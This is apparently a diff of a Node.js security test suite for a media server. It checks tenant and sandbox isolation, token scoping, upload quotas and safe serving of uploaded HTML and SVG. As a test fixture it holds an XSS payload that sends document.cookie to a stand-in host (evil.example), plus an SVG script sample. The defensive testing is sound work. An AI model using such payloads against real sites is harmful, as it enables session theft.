objectRoutes.publicRouter);++ app.use('/', require('../server/public/routes'));++ const server = http.createServer(app);--(async () => {-- await new Promise((r) => server.listen(0, '127.0.0.1', r));-- const base = `http://127.0.0.1:${server.address().port}`;-- const local = (u) => base + String(u).replace('https://media.test', '');-- const req = async (method, p, { bearer, json, form, raw, headers = {} } = {}) => {-- const h = { ...headers };-- if (bearer) h.authorization = `Bearer ${bearer}`;-- let body;-- if (json !== undefined) { h['content-type'] = 'application/json'; body = JSON.stringify(json); }-- if (form) body = form;-- if (raw !== undefined) body = raw;-- const r = await fetch(p.startsWith('http') ? p : base + p, { method, headers: h, body, redirect: 'manual' });-- const text = await r.text();-- let parsed = null;-- try { parsed = JSON.parse(text); } catch { /* bytes */ }-- return { status: r.status, body: parsed, text, headers: r.headers };-- };-- const upload = (project, bearer, content, name, type) => {-- const fd = new FormData();-- fd.append('file', new Blob([Buffer.from(content)], { type }), name);-- return req('POST', `/api/v1/${project}/files`, { bearer, form: fd });-- };++ (async () => {++ await new Promise((r) => server.listen(0, '127.0.0.1', r));++ const base = `http://127.0.0.1:${server.address().port}`;++ const local = (u) => base + String(u).replace('https://media.test', '');++ const req = async (method, p, { bearer, json, form, raw, headers = {} } = {}) => {++ const h = { ...headers };++ if (bearer) h.authorization = `Bearer ${bearer}`;++ let body;++ if (json !== undefined) { h['content-type'] = 'application/json'; body = JSON.stringify(json); }++ if (form) body = form;++ if (raw !== undefined) body = raw;++ const r = await fetch(p.startsWith('http') ? p : base + p, { method, headers: h, body, redirect: 'manual' });++ const text = await r.text();++ let parsed = null;++ try { parsed = JSON.parse(text); } catch { /* bytes */ }++ return { status: r.status, body: parsed, text, headers: r.headers };++ };++ const upload = async (project, bearer, content, name, type) => {++ const fd = new FormData();++ fd.append('file', new Blob([Buffer.from(content)], { type }), name);++ return await req('POST', `/api/v1/${project}/files`, { bearer, form: fd });++ };-- // ── 1. Uploaded HTML / SVG never renders on the Media origin ──-- const html = '<script>fetch("https://evil.example/?t="+document.cookie)</script>';-- let r = await upload(PA, appTok(), html, 'evil.html', 'text/html');-- assert.strictEqual(r.status, 201, JSON.stringify(r.body));-- r = await req('GET', `/f/${encodeURIComponent(r.body.key)}`);-- assert.strictEqual(r.status, 200);-- assert.strictEqual(r.headers.get('x-content-type-options'), 'nosniff', '/f/ sends nosniff');-- assert.ok(/^attachment/.test(r.headers.get('content-disposition') || ''), `HTML is served as a download, got ${r.headers.get('content-disposition')}`);-- r = await req('GET', `/f/${encodeURIComponent((await upload(PA, appTok(), html, 'evil.html', 'text/html')).body.key)}`, { headers: { range: 'bytes=0-10' } });-- assert.strictEqual(r.status, 206);-- assert.ok(/^attachment/.test(r.headers.get('content-disposition') || ''), 'range responses too');-- assert.strictEqual(r.headers.get('x-content-type-options'), 'nosniff');++ // ── 1. Uploaded HTML / SVG never renders on the Media origin ──++ const html = '<script>fetch("https://evil.example/?t="+document.cookie)</script>';++ let r = await upload(PA, appTok(), html, 'evil.html', 'text/html');++ assert.strictEqual(r.status, 201, JSON.stringify(r.body));++ r = await req('GET', `/f/${encodeURIComponent(r.body.key)}`);++ assert.strictEqual(r.status, 200);++ assert.strictEqual(r.headers.get('x-content-type-options'), 'nosniff', '/f/ sends nosniff');++ assert.ok(/^attachment/.test(r.headers.get('content-disposition') || ''), `HTML is served as a download, got ${r.headers.get('content-disposition')}`);++ r = await req('GET', `/f/${encodeURIComponent((await upload(PA, appTok(), html, 'evil.html', 'text/html')).body.key)}`, { headers: { range: 'bytes=0-10' } });++ assert.strictEqual(r.status, 206);++ assert.ok(/^attachment/.test(r.headers.get('content-disposition') || ''), 'range responses too');++ assert.strictEqual(r.headers.get('x-content-type-options'), 'nosniff');-- r = await upload(PA, appTok(), '<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>', 'x.svg', 'image/svg+xml');-- assert.strictEqual(r.status, 201);-- r = await req('GET', `/f/${encodeURIComponent(r.body.key)}`);-- assert.ok(/^attachment/.test(r.headers.get('content-disposition') || ''), 'SVG is served as a download');++ r = await upload(PA, appTok(), '<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>', 'x.svg', 'image/svg+xml');++ assert.strictEqual(r.status, 201);++ r = await req('GET', `/f/${encodeURIComponent(r.body.key)}`);++ assert.ok(/^attachment/.test(r.headers.get('content-disposition') || ''), 'SVG is served as a download');-- // MIME types are case-insensitive: image/SVG+xml is still SVG. (FormData lowercases, so raw multipart.)-- const boundary = 'ovboundary';-- const multipart = Buffer.from(`--${boundary}\r\nContent-Disposition: form-data; name="file"; filename="y.svg"\r\nContent-Type: image/SVG+xml\r\n\r\n<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>\r\n--${boundary}--\r\n`);-- r = await req('POST', `/api/v1/${PA}/files`, { bearer: appTok(), raw: multipart, headers: { 'content-type': `multipart/form-data; boundary=${boundary}` } });-- assert.strictEqual(r.status, 201, JSON.stringify(r.body));-- r = await req('GET', `/f/${encodeURIComponent(r.body.key)}`);-- assert.ok(/^attachment/.test(r.headers.get('content-disposition') || ''), `mixed-case SVG is a download, got ${r.headers.get('content-type')} ${r.headers.get('content-disposition')}`);++ // MIME types are case-insensitive: image/SVG+xml is still SVG. (FormData lowercases, so raw multipart.)++ const boundary = 'ovboundary';++ const multipart = Buffer.from(`--${boundary}\r\nContent-Disposition: form-data; name="file"; filename="y.svg"\r\nContent-Type: image/SVG+xml\r\n\r\n<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>\r\n--${boundary}--\r\n`);++ r = await req('POST', `/api/v1/${PA}/files`, { bearer: appTok(), raw: multipart, headers: { 'content-type': `multipart/form-data; boundary=${boundary}` } });++ assert.strictEqual(r.status, 201, JSON.stringify(r.body));++ r = await req('GET', `/f/${encodeURIComponent(r.body.key)}`);++ assert.ok(/^attachment/.test(r.headers.get('content-disposition') || ''), `mixed-case SVG is a download, got ${r.headers.get('content-type')} ${r.headers.get('content-disposition')}`);-- // Sandbox signed URLs get the same treatment.-- r = await upload(PA, appTok({ env: 'sandbox' }), html, 'evil.html', 'text/html');-- assert.strictEqual(r.status, 201);-- r = await req('GET', local(r.body.url));-- assert.strictEqual(r.status, 200);-- assert.ok(/^attachment/.test(r.headers.get('content-disposition') || ''), 'sandbox HTML is a download too');++ // Sandbox signed URLs get the same treatment.++ r = await upload(PA, appTok({ env: 'sandbox' }), html, 'evil.html', 'text/html');++ assert.strictEqual(r.status, 201);++ r = await req('GET', local(r.body.url));++ assert.strictEqual(r.status, 200);++ assert.ok(/^attachment/.test(r.headers.get('content-disposition') || ''), 'sandbox HTML is a download too');-- // Pictures and plain text still display inline.-- const png = Buffer.from('89504e470d0a1a0a0000000d49484452', 'hex');-- r = await upload(PA, appTok(), png, 'pic.png', 'image/png');-- r = await req('GET', `/f/${encodeURIComponent(r.body.key)}`);-- assert.strictEqual(r.headers.get('content-type'), 'image/png');-- assert.ok(/^inline/.test(r.headers.get('content-disposition') || ''), 'images stay inline');++ // Pictures and plain text still display inline.++ const png = Buffer.from('89504e470d0a1a0a0000000d49484452', 'hex');++ r = await upload(PA, appTok(), png, 'pic.png', 'image/png');++ r = await req('GET', `/f/${encodeURIComponent(r.body.key)}`);++ assert.strictEqual(r.headers.get('content-type'), 'image/png');++ assert.ok(/^inline/.test(r.headers.get('content-disposition') || ''), 'images stay inline');-- // ── 2. Concurrent v1 uploads cannot all slip under the quota ──-- const sbQuota = 1024 * 1024;-- db.run('DELETE FROM files WHERE app_id = ?', [`${PA}-sandbox`]);-- const chunk = 400 * 1024;-- const results = await Promise.all(Array.from({ length: 6 }, (_, i) => upload(PA, appTok({ env: 'sandbox' }), crypto.randomBytes(chunk), `c${i}.bin`, 'application/octet-stream')));-- const stored = results.filter(x => x.status === 201).length;-- assert.ok(stored <= 2, `at most 2 × 400 KB fit in 1 MB, ${stored} were stored`);-- assert.ok(model.usedBytes(`${PA}-sandbox`) <= sbQuota, 'sandbox usage stays within its quota');++ // ── 2. Concurrent v1 uploads cannot all slip under the quota ──++ const sbQuota = 1024 * 1024;++ await db.run('DELETE FROM files WHERE app_id = ?', [`${PA}-sandbox`]);++ const chunk = 400 * 1024;++ const results = await Promise.all(Array.from({ length: 6 }, async (_, i) => await upload(PA, appTok({ env: 'sandbox' }), crypto.randomBytes(chunk), `c${i}.bin`, 'application/octet-stream')));++ const stored = results.filter(x => x.status === 201).length;++ assert.ok(stored <= 2, `at most 2 × 400 KB fit in 1 MB, ${stored} were stored`);++ assert.ok(await model.usedBytes(`${PA}-sandbox`) <= sbQuota, 'sandbox usage stays within its quota');-- // ── 3. Upload → delete → upload cannot outgrow the quota while the bytes are retained ──-- const tok = appTok({ project: PB, env: 'sandbox' });-- const size = 700 * 1024;-- let refusedAt = null;-- for (let i = 0; i < 4 && refusedAt == null; i++) {-- r = await req('POST', `/api/v2/${PB}/objects`, { bearer: tok, json: { size_bytes: size, mime_type: 'application/octet-stream' } });-- if (r.status === 413) { refusedAt = i; break; }-- assert.strictEqual(r.status, 201, JSON.stringify(r.body));-- const id = r.body.id;-- r = await req('PUT', local(r.body.upload.url), { raw: crypto.randomBytes(size), headers: { 'content-type': 'application/octet-stream' } });-- assert.strictEqual(r.status, 200, JSON.stringify(r.body));-- r = await req('POST', `/api/v2/${PB}/objects/${id}/complete`, { bearer: tok, json: {} });-- assert.strictEqual(r.status, 200, JSON.stringify(r.body));-- r = await req('DELETE', `/api/v2/${PB}/objects/${id}`, { bearer: tok });-- assert.strictEqual(r.status, 200, JSON.stringify(r.body));-- }-- assert.strictEqual(refusedAt, 1, 'soft-deleted bytes still on disk count against a project tenant quota');-- // Once purged, the space is free again.-- db.run("UPDATE media_objects SET deleted_at = datetime('now', '-40 days') WHERE app_id = ?", [`${PB}-sandbox`]);-- model.purgeExpired({ retentionDays: 30 });-- r = await req('POST', `/api/v2/${PB}/objects`, { bearer: tok, json: { size_bytes: size } });-- assert.strictEqual(r.status, 201, 'purged bytes no longer count');++ // ── 3. Upload → delete → upload cannot outgrow the quota while the bytes are retained ──++ const tok = appTok({ project: PB, env: 'sandbox' });++ const size = 700 * 1024;++ let refusedAt = null;++ for (let i = 0; i < 4 && refusedAt == null; i++) {++ r = await req('POST', `/api/v2/${PB}/objects`, { bearer: tok, json: { size_bytes: size, mime_type: 'application/octet-stream' } });++ if (r.status === 413) { refusedAt = i; break; }++ assert.strictEqual(r.status, 201, JSON.stringify(r.body));++ const id = r.body.id;++ r = await req('PUT', local(r.body.upload.url), { raw: crypto.randomBytes(size), headers: { 'content-type': 'application/octet-stream' } });++ assert.strictEqual(r.status, 200, JSON.stringify(r.body));++ r = await req('POST', `/api/v2/${PB}/objects/${id}/complete`, { bearer: tok, json: {} });++ assert.strictEqual(r.status, 200, JSON.stringify(r.body));++ r = await req('DELETE', `/api/v2/${PB}/objects/${id}`, { bearer: tok });++ assert.strictEqual(r.status, 200, JSON.stringify(r.body));++ }++ assert.strictEqual(refusedAt, 1, 'soft-deleted bytes still on disk count against a project tenant quota');++ // Once purged, the space is free again.++ await db.run("UPDATE media_objects SET deleted_at = datetime('now', '-40 days') WHERE app_id = ?", [`${PB}-sandbox`]);++ await model.purgeExpired({ retentionDays: 30 });++ r = await req('POST', `/api/v2/${PB}/objects`, { bearer: tok, json: { size_bytes: size } });++ assert.strictEqual(r.status, 201, 'purged bytes no longer count');-- server.close();-- fs.rmSync(tmp, { recursive: true, force: true });-- console.log('developer-project tenant abuse: all checks passed');++ server.close();++ fs.rmSync(tmp, { recursive: true, force: true });++ console.log('developer-project tenant abuse: all checks passed');++ })().catch((err) => { console.error(err); process.exit(1); });})().catch((err) => { console.error(err); process.exit(1); });@@@ -11,255 +11,257 @@ const path = require('path');const http = require('http');const crypto = require('crypto');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-apptenants-'));--const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };--process.env.DB_PATH = path.join(tmp, 'media.db');--process.env.VOD_PATH = dir('vods');--process.env.FILES_PATH = dir('files');--process.env.OBJECTS_PATH = dir('objects');--process.env.THUMBNAILS_PATH = dir('thumbnails');--process.env.OV_NETWORK_URL = 'https://openvibe.network';--process.env.MEDIA_PUBLIC_URL = 'https://media.test';--process.env.MEDIA_SIGNING_SECRET = 'test-signing-secret';--process.env.MEDIA_APP_TENANT_QUOTA_MB = '2';--process.env.MEDIA_APP_SANDBOX_QUOTA_MB = '1';++(async () => {++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-apptenants-'));++ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++ process.env.DB_PATH = path.join(tmp, 'media.db');++ process.env.VOD_PATH = dir('vods');++ process.env.FILES_PATH = dir('files');++ process.env.OBJECTS_PATH = dir('objects');++ process.env.THUMBNAILS_PATH = dir('thumbnails');++ process.env.OV_NETWORK_URL = 'https://openvibe.network';++ process.env.MEDIA_PUBLIC_URL = 'https://media.test';++ process.env.MEDIA_SIGNING_SECRET = 'test-signing-secret';++ process.env.MEDIA_APP_TENANT_QUOTA_MB = '2';++ process.env.MEDIA_APP_SANDBOX_QUOTA_MB = '1';--const db = require('../server/db/database');--const auth = require('../server/auth');--const objectRoutes = require('../server/objects/routes');--const { serviceAuth, ids } = require('openvibe-contracts');--const express = require('express');++ const db = require('../server/db/database');++ const auth = require('../server/auth');++ const objectRoutes = require('../server/objects/routes');++ const { serviceAuth, ids } = require('openvibe-contracts');++ const express = require('express');--const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } });--auth._setNetworkPublicKeyForTests(keys.publicKey);--db.upsertApp({ app_id: 'live', api_key: 'live-key' });--auth.ensureTokenOnlyApps();++ const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } });++ auth._setNetworkPublicKeyForTests(keys.publicKey);++ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });++ await auth.ensureTokenOnlyApps();--const PA = `prj_${ids.ulid()}`;--const PB = `prj_${ids.ulid()}`;--const PC = `prj_${ids.ulid()}`;--const APP_A = `app_${ids.ulid()}`;--const APP_B = `app_${ids.ulid()}`;--const now = Math.floor(Date.now() / 1000);--const BOTH = ['media.object.upload', 'media.object.read'];--const appTok = ({ project = PA, app = APP_A, env = 'production', cap = BOTH, ns, ...over } = {}) => serviceAuth.signServiceToken({-- iss: 'https://openvibe.network', sub: `app:${app}`, actor_type: 'app', aud: ['openvibe.media'], cap, ns: ns || [project],-- project_id: project, env, iat: now, exp: now + 300, jti: `tok_${crypto.randomBytes(6).toString('hex')}`, ...over,--}, keys.privateKey);--const svcTok = (over = {}) => serviceAuth.signServiceToken({ iss: 'https://openvibe.network', sub: 'svc:community', actor_type: 'service', aud: ['openvibe.media'], cap: BOTH, ns: ['community'], iat: now, exp: now + 300, jti: `tok_${crypto.randomBytes(6).toString('hex')}`, ...over }, keys.privateKey);++ const PA = `prj_${ids.ulid()}`;++ const PB = `prj_${ids.ulid()}`;++ const PC = `prj_${ids.ulid()}`;++ const APP_A = `app_${ids.ulid()}`;++ const APP_B = `app_${ids.ulid()}`;++ const now = Math.floor(Date.now() / 1000);++ const BOTH = ['media.object.upload', 'media.object.read'];++ const appTok = ({ project = PA, app = APP_A, env = 'production', cap = BOTH, ns, ...over } = {}) => serviceAuth.signServiceToken({++ iss: 'https://openvibe.network', sub: `app:${app}`, actor_type: 'app', aud: ['openvibe.media'], cap, ns: ns || [project],++ project_id: project, env, iat: now, exp: now + 300, jti: `tok_${crypto.randomBytes(6).toString('hex')}`, ...over,++ }, keys.privateKey);++ const svcTok = (over = {}) => serviceAuth.signServiceToken({ iss: 'https://openvibe.network', sub: 'svc:community', actor_type: 'service', aud: ['openvibe.media'], cap: BOTH, ns: ['community'], iat: now, exp: now + 300, jti: `tok_${crypto.randomBytes(6).toString('hex')}`, ...over }, keys.privateKey);--// Same mount order as server/index.js.--const app = express();--app.put('/api/v2/:app/objects/:id/content', ...objectRoutes.contentHandlers);--app.use(express.json());--app.use('/api/v1/:app/files', require('../server/files/routes'));--app.use('/api/v1/:app/vods', require('../server/vod/routes'));--app.use('/api/v2/:app/objects', objectRoutes);--app.use('/o', objectRoutes.publicRouter);--app.use('/', require('../server/public/routes'));--const server = http.createServer(app);++ // Same mount order as server/index.js.++ const app = express();++ app.put('/api/v2/:app/objects/:id/content', ...objectRoutes.contentHandlers);++ app.use(express.json());++ app.use('/api/v1/:app/files', require('../server/files/routes'));++ app.use('/api/v1/:app/vods', require('../server/vod/routes'));++ app.use('/api/v2/:app/objects', objectRoutes);++ app.use('/o', objectRoutes.publicRouter);++ app.use('/', require('../server/public/routes'));++ const server = http.createServer(app);--(async () => {-- await new Promise((r) => server.listen(0, '127.0.0.1', r));-- const base = `http://127.0.0.1:${server.address().port}`;-- const local = (u) => base + String(u).replace('https://media.test', '');-- const req = async (method, p, { bearer, json, form, raw, headers = {} } = {}) => {-- const h = { ...headers };-- if (bearer) h.authorization = `Bearer ${bearer}`;-- let body;-- if (json !== undefined) { h['content-type'] = 'application/json'; body = JSON.stringify(json); }-- if (form) body = form;-- if (raw !== undefined) body = raw;-- const r = await fetch(p.startsWith('http') ? p : base + p, { method, headers: h, body, redirect: 'manual' });-- const text = await r.text();-- let parsed = null;-- try { parsed = JSON.parse(text); } catch { /* bytes */ }-- return { status: r.status, body: parsed, text, headers: r.headers };-- };-- const upload = (project, bearer, content = 'hello from a developer app', name = 'note.txt') => {-- const fd = new FormData();-- fd.append('file', new Blob([Buffer.from(content)], { type: 'text/plain' }), name);-- return req('POST', `/api/v1/${project}/files`, { bearer, form: fd });-- };-- const tenants = () => db.all("SELECT app_id, project_id, env, quota_bytes, api_key_hash FROM apps WHERE app_id LIKE 'prj_%' ORDER BY app_id");++ (async () => {++ await new Promise((r) => server.listen(0, '127.0.0.1', r));++ const base = `http://127.0.0.1:${server.address().port}`;++ const local = (u) => base + String(u).replace('https://media.test', '');++ const req = async (method, p, { bearer, json, form, raw, headers = {} } = {}) => {++ const h = { ...headers };++ if (bearer) h.authorization = `Bearer ${bearer}`;++ let body;++ if (json !== undefined) { h['content-type'] = 'application/json'; body = JSON.stringify(json); }++ if (form) body = form;++ if (raw !== undefined) body = raw;++ const r = await fetch(p.startsWith('http') ? p : base + p, { method, headers: h, body, redirect: 'manual' });++ const text = await r.text();++ let parsed = null;++ try { parsed = JSON.parse(text); } catch { /* bytes */ }++ return { status: r.status, body: parsed, text, headers: r.headers };++ };++ const upload = async (project, bearer, content = 'hello from a developer app', name = 'note.txt') => {++ const fd = new FormData();++ fd.append('file', new Blob([Buffer.from(content)], { type: 'text/plain' }), name);++ return await req('POST', `/api/v1/${project}/files`, { bearer, form: fd });++ };++ const tenants = async () => await db.all("SELECT app_id, project_id, env, quota_bytes, api_key_hash FROM apps WHERE app_id ILIKE 'prj_%' ORDER BY app_id");-- // ── First use creates the tenant; nothing exists before ──-- assert.strictEqual(tenants().length, 0);-- let r = await req('GET', `/api/v1/${PA}/files`, { bearer: appTok({ cap: ['media.object.upload'] }) });-- assert.strictEqual(r.status, 403, 'list needs media.object.read');-- assert.strictEqual(r.body.code, 'capability.denied');-- assert.strictEqual(tenants().length, 0, 'a refused call creates no tenant');-- r = await req('GET', `/api/v1/${PB}/files`, { bearer: appTok() });-- assert.strictEqual(r.status, 403, "project A's token on project B's path");-- assert.strictEqual(r.body.code, 'capability.namespace_denied');-- r = await req('GET', `/api/v1/${PB}/files`, { bearer: appTok({ ns: [PA, PB] }) });-- assert.strictEqual(r.status, 403, 'the token project_id decides, not a widened ns');-- assert.strictEqual(tenants().length, 0, 'wrong project never creates a tenant');++ // ── First use creates the tenant; nothing exists before ──++ assert.strictEqual((await tenants()).length, 0);++ let r = await req('GET', `/api/v1/${PA}/files`, { bearer: appTok({ cap: ['media.object.upload'] }) });++ assert.strictEqual(r.status, 403, 'list needs media.object.read');++ assert.strictEqual(r.body.code, 'capability.denied');++ assert.strictEqual((await tenants()).length, 0, 'a refused call creates no tenant');++ r = await req('GET', `/api/v1/${PB}/files`, { bearer: appTok() });++ assert.strictEqual(r.status, 403, "project A's token on project B's path");++ assert.strictEqual(r.body.code, 'capability.namespace_denied');++ r = await req('GET', `/api/v1/${PB}/files`, { bearer: appTok({ ns: [PA, PB] }) });++ assert.strictEqual(r.status, 403, 'the token project_id decides, not a widened ns');++ assert.strictEqual((await tenants()).length, 0, 'wrong project never creates a tenant');-- r = await upload(PA, appTok());-- assert.strictEqual(r.status, 201, JSON.stringify(r.body));-- const prodFile = r.body;-- assert.strictEqual(prodFile.url, `/f/${prodFile.key}`, 'production app files are public like any tenant');-- assert.ok(!prodFile.sandbox);-- r = await upload(PA, appTok({ env: 'sandbox' }), 'sandbox bytes');-- assert.strictEqual(r.status, 201, JSON.stringify(r.body));-- const sbFile = r.body;-- assert.strictEqual(sbFile.sandbox, true);-- assert.ok(/^https:\/\/media\.test\/f\/.+\?exp=\d+&sig=/.test(sbFile.url), 'sandbox files get a signed URL');-- assert.ok(sbFile.url_expires_at);++ r = await upload(PA, appTok());++ assert.strictEqual(r.status, 201, JSON.stringify(r.body));++ const prodFile = r.body;++ assert.strictEqual(prodFile.url, `/f/${prodFile.key}`, 'production app files are public like any tenant');++ assert.ok(!prodFile.sandbox);++ r = await upload(PA, appTok({ env: 'sandbox' }), 'sandbox bytes');++ assert.strictEqual(r.status, 201, JSON.stringify(r.body));++ const sbFile = r.body;++ assert.strictEqual(sbFile.sandbox, true);++ assert.ok(/^https:\/\/media\.test\/f\/.+\?exp=\d+&sig=/.test(sbFile.url), 'sandbox files get a signed URL');++ assert.ok(sbFile.url_expires_at);-- const t = tenants();-- assert.deepStrictEqual(t.map(x => [x.app_id, x.project_id, x.env]), [[PA, PA, 'production'], [`${PA}-sandbox`, PA, 'sandbox']], 'separate production and sandbox tenants');-- assert.strictEqual(t[0].quota_bytes, 2 * 1024 * 1024);-- assert.strictEqual(t[1].quota_bytes, 1 * 1024 * 1024, 'sandbox quota is smaller');-- assert.ok(t.every(x => x.api_key_hash === ''), 'no API key for project tenants');-- assert.ok(fs.existsSync(path.join(process.env.FILES_PATH, `${PA}-sandbox`)), 'sandbox bytes live in their own tenant directory');++ const t = await tenants();++ assert.deepStrictEqual(t.map(x => [x.app_id, x.project_id, x.env]), [[PA, PA, 'production'], [`${PA}-sandbox`, PA, 'sandbox']], 'separate production and sandbox tenants');++ assert.strictEqual(t[0].quota_bytes, 2 * 1024 * 1024);++ assert.strictEqual(t[1].quota_bytes, 1 * 1024 * 1024, 'sandbox quota is smaller');++ assert.ok(t.every(x => x.api_key_hash === ''), 'no API key for project tenants');++ assert.ok(fs.existsSync(path.join(process.env.FILES_PATH, `${PA}-sandbox`)), 'sandbox bytes live in their own tenant directory');-- // ── Separation between environments and projects ──-- r = await req('GET', `/api/v1/${PA}/files`, { bearer: appTok() });-- assert.deepStrictEqual(r.body.files.map(f => f.key), [prodFile.key], 'production sees only production');-- r = await req('GET', `/api/v1/${PA}/files`, { bearer: appTok({ env: 'sandbox' }) });-- assert.deepStrictEqual(r.body.files.map(f => f.key), [sbFile.key], 'sandbox sees only sandbox');-- r = await req('GET', `/api/v1/${PA}/files/${encodeURIComponent(prodFile.key)}`, { bearer: appTok({ env: 'sandbox' }) });-- assert.strictEqual(r.status, 404, 'sandbox token cannot read a production file');-- r = await req('DELETE', `/api/v1/${PA}/files/${encodeURIComponent(sbFile.key)}`, { bearer: appTok() });-- assert.strictEqual(r.status, 404, 'production token cannot delete a sandbox file');-- r = await req('GET', `/api/v1/${PA}-sandbox/files`, { bearer: appTok({ env: 'sandbox', ns: [PA, `${PA}-sandbox`] }) });-- assert.strictEqual(r.status, 401, 'the sandbox tenant id is not addressable by path, even with a widened ns');-- assert.strictEqual(r.body.code, 'token.sandbox_refused');-- r = await req('GET', `/api/v1/${PA}-sandbox/files`, { bearer: appTok({ ns: [PA, `${PA}-sandbox`] }) });-- assert.strictEqual(r.status, 403, 'nor with a production token');-- r = await req('GET', `/api/v1/${PA}-sandbox/files`, { bearer: svcTok({ ns: ['*'] }) });-- assert.strictEqual(r.status, 404, 'nor with a first-party service token');-- r = await req('GET', `/api/v1/${PA}/files`, { bearer: svcTok({ ns: ['*'] }) });-- assert.strictEqual(r.status, 404, 'first-party service tokens never reach project tenants');++ // ── Separation between environments and projects ──++ r = await req('GET', `/api/v1/${PA}/files`, { bearer: appTok() });++ assert.deepStrictEqual(r.body.files.map(f => f.key), [prodFile.key], 'production sees only production');++ r = await req('GET', `/api/v1/${PA}/files`, { bearer: appTok({ env: 'sandbox' }) });++ assert.deepStrictEqual(r.body.files.map(f => f.key), [sbFile.key], 'sandbox sees only sandbox');++ r = await req('GET', `/api/v1/${PA}/files/${encodeURIComponent(prodFile.key)}`, { bearer: appTok({ env: 'sandbox' }) });++ assert.strictEqual(r.status, 404, 'sandbox token cannot read a production file');++ r = await req('DELETE', `/api/v1/${PA}/files/${encodeURIComponent(sbFile.key)}`, { bearer: appTok() });++ assert.strictEqual(r.status, 404, 'production token cannot delete a sandbox file');++ r = await req('GET', `/api/v1/${PA}-sandbox/files`, { bearer: appTok({ env: 'sandbox', ns: [PA, `${PA}-sandbox`] }) });++ assert.strictEqual(r.status, 401, 'the sandbox tenant id is not addressable by path, even with a widened ns');++ assert.strictEqual(r.body.code, 'token.sandbox_refused');++ r = await req('GET', `/api/v1/${PA}-sandbox/files`, { bearer: appTok({ ns: [PA, `${PA}-sandbox`] }) });++ assert.strictEqual(r.status, 403, 'nor with a production token');++ r = await req('GET', `/api/v1/${PA}-sandbox/files`, { bearer: svcTok({ ns: ['*'] }) });++ assert.strictEqual(r.status, 404, 'nor with a first-party service token');++ r = await req('GET', `/api/v1/${PA}/files`, { bearer: svcTok({ ns: ['*'] }) });++ assert.strictEqual(r.status, 404, 'first-party service tokens never reach project tenants');-- r = await upload(PB, appTok({ project: PB, app: APP_B }), 'project b');-- assert.strictEqual(r.status, 201);-- const bFile = r.body;-- r = await req('GET', `/api/v1/${PB}/files/${encodeURIComponent(prodFile.key)}`, { bearer: appTok({ project: PB, app: APP_B }) });-- assert.strictEqual(r.status, 404, "B cannot read A's file through its own path");-- for (const [m, p] of [['GET', `/api/v1/${PB}/files`], ['GET', `/api/v1/${PB}/files/${encodeURIComponent(bFile.key)}`], ['DELETE', `/api/v1/${PB}/files/${encodeURIComponent(bFile.key)}`]]) {-- r = await req(m, p, { bearer: appTok() });-- assert.strictEqual(r.status, 403, `A cannot ${m} ${p}`);-- }-- r = await upload(PB, appTok());-- assert.strictEqual(r.status, 403, 'A cannot upload into B');-- r = await upload(PA, appTok({ project: PB, app: APP_B }), 'same content as A', 'note.txt');-- assert.strictEqual(r.status, 403);-- // Identical bytes + name in two tenants never collide on the (global) key.-- r = await upload(PB, appTok({ project: PB, app: APP_B }));-- assert.strictEqual(r.status, 201);-- assert.notStrictEqual(r.body.key, prodFile.key, 'per-tenant key tag');++ r = await upload(PB, appTok({ project: PB, app: APP_B }), 'project b');++ assert.strictEqual(r.status, 201);++ const bFile = r.body;++ r = await req('GET', `/api/v1/${PB}/files/${encodeURIComponent(prodFile.key)}`, { bearer: appTok({ project: PB, app: APP_B }) });++ assert.strictEqual(r.status, 404, "B cannot read A's file through its own path");++ for (const [m, p] of [['GET', `/api/v1/${PB}/files`], ['GET', `/api/v1/${PB}/files/${encodeURIComponent(bFile.key)}`], ['DELETE', `/api/v1/${PB}/files/${encodeURIComponent(bFile.key)}`]]) {++ r = await req(m, p, { bearer: appTok() });++ assert.strictEqual(r.status, 403, `A cannot ${m} ${p}`);++ }++ r = await upload(PB, appTok());++ assert.strictEqual(r.status, 403, 'A cannot upload into B');++ r = await upload(PA, appTok({ project: PB, app: APP_B }), 'same content as A', 'note.txt');++ assert.strictEqual(r.status, 403);++ // Identical bytes + name in two tenants never collide on the (global) key.++ r = await upload(PB, appTok({ project: PB, app: APP_B }));++ assert.strictEqual(r.status, 201);++ assert.notStrictEqual(r.body.key, prodFile.key, 'per-tenant key tag');-- // ── App tokens reach nothing else; sandbox tokens are refused off the app routes ──-- r = await upload('community', appTok({ ns: ['community'] }));-- assert.strictEqual(r.status, 403, 'an app token never reaches a first-party tenant');-- r = await upload('community', appTok({ env: 'sandbox', ns: ['community'] }));-- assert.strictEqual(r.status, 401);-- assert.strictEqual(r.body.code, 'token.sandbox_refused', 'sandbox token on a first-party tenant');-- r = await req('GET', `/api/v1/${PA}/vods`, { bearer: appTok({ env: 'sandbox' }) });-- assert.strictEqual(r.status, 401);-- assert.strictEqual(r.body.code, 'token.sandbox_refused', 'sandbox token on a route that is not an app-tenant route');-- r = await req('GET', `/api/v1/${PA}/vods`, { bearer: appTok() });-- assert.strictEqual(r.status, 403, 'production app token on vods');-- r = await req('GET', '/api/v1/live/vods', { bearer: appTok({ ns: ['live'] }) });-- assert.strictEqual(r.status, 403);-- r = await req('GET', `/api/v1/${PA}/files`, { bearer: 'live-key' });-- assert.strictEqual(r.status, 404, "an app key never unlocks a project tenant");-- r = await req('GET', `/api/v1/${PA}/files`, { bearer: appTok({ aud: ['openvibe.events'] }) });-- assert.strictEqual(r.status, 404, 'a token for another audience is no credential here');++ // ── App tokens reach nothing else; sandbox tokens are refused off the app routes ──++ r = await upload('community', appTok({ ns: ['community'] }));++ assert.strictEqual(r.status, 403, 'an app token never reaches a first-party tenant');++ r = await upload('community', appTok({ env: 'sandbox', ns: ['community'] }));++ assert.strictEqual(r.status, 401);++ 